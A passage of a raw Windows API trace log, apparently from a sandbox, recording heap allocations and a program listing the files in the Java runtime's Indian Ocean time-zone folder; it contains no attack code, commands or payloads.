lpLastWriteTime=0x119ebdc) returned 0 [0088.794] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x1333260 [0088.794] DeviceIoControl (in: hDevice=0x164, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1333260, nOutBufferSize=0x4000, lpBytesReturned=0x119ec34, lpOverlapped=0x0 | out: lpOutBuffer=0x1333260, lpBytesReturned=0x119ec34, lpOverlapped=0x0) returned 0 [0088.794] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1333260) returned 1 [0088.794] NtClose (Handle=0x164) returned 0x0 [0088.794] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124f9b0) returned 1 [0088.794] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124f9b0 [0088.795] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1250cd0 [0088.795] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1250d58 [0088.795] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Indian\\*", fInfoLevelId=0x1, lpFindFileData=0x119e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e9e4) returned 0x2e9080 [0088.797] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x74685fa0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74685fa0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74685fa0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0088.797] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74685fa0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74685fa0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74685fa0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x59, dwReserved0=0x0, dwReserved1=0x0, cFileName="Antananarivo", cAlternateFileName="")) returned 1 [0088.797] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eb0e0 [0088.797] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eb0e0) returned 1 [0088.797] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eb0e0 [0088.798] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eb0e0) returned 1 [0088.798] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eb0e0 [0088.798] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12c0908 [0088.798] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12ec840 [0088.798] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eb0e0) returned 1 [0088.798] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74685fa0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74685fa0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74685fa0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x4d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Chagos", cAlternateFileName="")) returned 1 [0088.798] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eb0e0 [0088.799] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eb0e0) returned 1 [0088.799] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eb0e0 [0088.799] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eb0e0) returned 1 [0088.799] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eb0e0 [0088.800] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12c0928 [0088.800] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12ec8c8 [0088.800] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eb0e0) returned 1 [0088.800] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74685fa0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74685fa0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74685fa0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x1b, dwReserved0=0x0, dwReserved1=0x0, cFileName="Christmas", cAlternateFileName="")) returned 1 [0088.800] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eb0e0 [0088.801] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eb0e0) returned 1 [0088.801] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eb0e0 [0088.801] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eb0e0) returned 1 [0088.801] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eb0e0 [0088.801] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12c0948 [0088.801] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12ec950 [0088.802] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eb0e0) returned 1 [0088.802] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74685fa0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74685fa0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74685fa0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x1b, dwReserved0=0x0, dwReserved1=0x0, cFileName="Cocos", cAlternateFileName="")) returned 1 [0088.802] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eb0e0 [0088.802] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eb0e0) returned 1 [0088.802] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eb0e0 [0088.803] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eb0e0) returned 1 [0088.803] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eb0e0 [0088.803] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12c0968 [0088.803] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12ec9d8 [0088.803] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eb0e0) returned 1 [0088.803] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74685fa0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74685fa0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74685fa0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x41, dwReserved0=0x0, dwReserved1=0x0, cFileName="Comoro", cAlternateFileName="")) returned 1 [0088.804] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eb0e0 [0088.804] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eb0e0) returned 1 [0088.804] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eb0e0 [0088.804] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eb0e0) returned 1 [0088.804] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eb0e0 [0088.805] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12c0988 [0088.805] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eca60 [0088.805] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eb0e0) returned 1 [0088.805] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74685fa0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74685fa0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74685fa0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x41, dwReserved0=0x0, dwReserved1=0x0, cFileName="Kerguelen", cAlternateFileName="")) returned 1 [0088.805] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eb0e0 [0088.806] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eb0e0) returned 1 [0088.806] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eb0e0 [0088.806] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eb0e0) returned 1 [0088.806] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eb0e0 [0088.806] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12c09a8 [0088.806] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12ecae8 [0088.807] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eb0e0) returned 1 [0088.807] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74685fa0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74685fa0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74685fa0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x41, dwReserved0=0x0, dwReserved1=0x0, cFileName="Mahe", cAlternateFileName="")) returned 1 [0088.807] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eb0e0 [0088.807] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eb0e0) returned 1 [0088.807] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eb0e0 [0088.808] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eb0e0) returned 1 [0088.808] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eb0e0 [0088.808] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12c09c8 [0088.808] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12ecb70 [0088.808] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x8c00) returned 0x12f2380 [0088.809] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74685fa0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74685fa0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74685fa0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x41, dwReserved0=0x0, dwReserved1=0x0, cFileName="Maldives", cAlternateFileName="")) returned 1 [0088.809] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eb0e0 [0088.809] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eb0e0) returned 1 [0088.809] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eb0e0 [0088.809] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eb0e0) returned 1 [0088.809] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eb0e0 [0088.810] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12c09e8 [0088.810] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12ecbf8 [0088.810] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eb0e0) returned 1 [0088.810] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74685fa0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74685fa0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74685fa0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x69, dwReserved0=0x0, dwReserved1=0x0, cFileName="Mauritius", cAlternateFileName="")) returned 1 [0088.810] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eb0e0 [0088.810] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eb0e0) returned 1 [0088.810] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eb0e0 [0088.811] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eb0e0) returned 1 [0088.811] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eb0e0 [0088.811] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12c0a08 [0088.811] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12ecc80 [0088.812] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eb0e0) returned 1 [0088.812] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74685fa0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74685fa0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74685fa0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x41, dwReserved0=0x0, dwReserved1=0x0, cFileName="Mayotte", cAlternateFileName="")) returned 1 [0088.812] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eb0e0 [0088.812] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eb0e0) returned 1 [0088.812] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eb0e0 [0088.813] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eb0e0) returned 1 [0088.813] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eb0e0 [0088.813] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12c0a28 [0088.813] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12ecd08 [0088.813] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eb0e0) returned 1 [0088.813] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74685fa0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74685fa0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74685fa0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x41, dwReserved0=0x0, dwReserved1=0x0, cFileName="Reunion", cAlternateFileName="")) returned 1 [0088.813] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eb0e0 [0088.814] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eb0e0) returned 1 [0088.814] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eb0e0 [0088.814] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eb0e0) returned 1 [0088.814] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eb0e0 [0088.814] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12c0a48 [0088.815] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12ecd90 [0088.815] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eb0e0) returned 1 [0088.815] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74685fa0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74685fa0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74685fa0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x41, dwReserved0=0x0, dwReserved1=0x0, cFileName="Reunion", cAlternateFileName="")) returned 0 [0088.815] GetLastError () returned 0x12 [0088.815] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Indian\\*", fInfoLevelId=0x1, lpFindFileData=0x119e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e9e4) returned 0x2e90c0 [0088.815] FindClose (in: hFindFile=0x2e9080 | out: hFindFile=0x2e9080) returned 1 [0088.815] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x74685fa0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74685fa0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74685fa0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0088.816] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74685fa0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74685fa0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74685fa0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x59, dwReserved0=0x0, dwReserved1=0x0, cFileName="Antananarivo", cAlternateFileName="")) returned 1 [0088.816] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74685fa0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74685fa0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74685fa0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x4d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Chagos", cAlternateFileName="")) returned 1 [0088.816] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74685fa0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74685fa0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74685fa0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x1b, dwReserved0=0x0, dwReserved1=0x0, cFileName="Christmas", cAlternateFileName="")) returned 1 [0088.816] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74685fa0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74685fa0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74685fa0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x1b, dwReserved0=0x0, dwReserved1=0x0, cFileName="Cocos", cAlternateFileName="")) returned 1 [0088.816] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74685fa0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74685fa0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74685fa0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x41, dwReserved0=0x0, dwReserved1=0x0, cFileName="Comoro", cAlternateFileName="")) returned 1 [0088.816] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74685fa0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74685fa0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74685fa0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x41, dwReserved0=0x0, dwReserved1=0x0, cFileName="Kerguelen", cAlternateFileName="")) returned 1 [0088.816] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74685fa0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74685fa0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74685fa0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x41, dwReserved0=0x0, dwReserved1=0x0, cFileName="Mahe", cAlternateFileName="")) returned 1 [0088.816] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74685fa0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74685fa0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74685fa0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x41, dwReserved0=0x0, dwReserved1=0x0, cFileName="Maldives", cAlternateFileName="")) returned 1 [0088.816] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74685fa0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74685fa0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74685fa0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x69, dwReserved0=0x0, dwReserved1=0x0, cFileName="Mauritius", cAlternateFileName="")) returned 1 [0088.816] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74685fa0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74685fa0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74685fa0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x41, dwReserved0=0x0, dwReserved1=0x0, cFileName="Mayotte", cAlternateFileName="")) returned 1 [0088.816] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74685fa0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74685fa0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74685fa0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x41, dwReserved0=0x0, dwReserved1=0x0, cFileName="Reunion", cAlternateFileName="")) returned 1 [0088.816] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74685fa0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74685fa0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74685fa0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x41, dwReserved0=0x0, dwReserved1=0x0, cFileName="Reunion", cAlternateFileName="")) returned 0 [0088.816] GetLastError () returned 0x12 [0088.816] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1250d58) returned 1 [0088.816] FindClose (in: hFindFile=0x2e90c0 | out: hFindFile=0x2e90c0) returned 1 [0088.817] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1250cd0) returned 1 [0088.817] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124f9b0) returned 1 [0088.817] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74685fa0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74685fa0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74685fa0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x4a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MET", cAlternateFileName="")) returned 1 [0088.817] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74685fa0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74685fa0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74685fa0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x1b, dwReserved0=0x0, dwReserved1=0x0, cFileName="MST", cAlternateFileName="")) returned 1 [0088.817] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74685fa0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74685fa0, 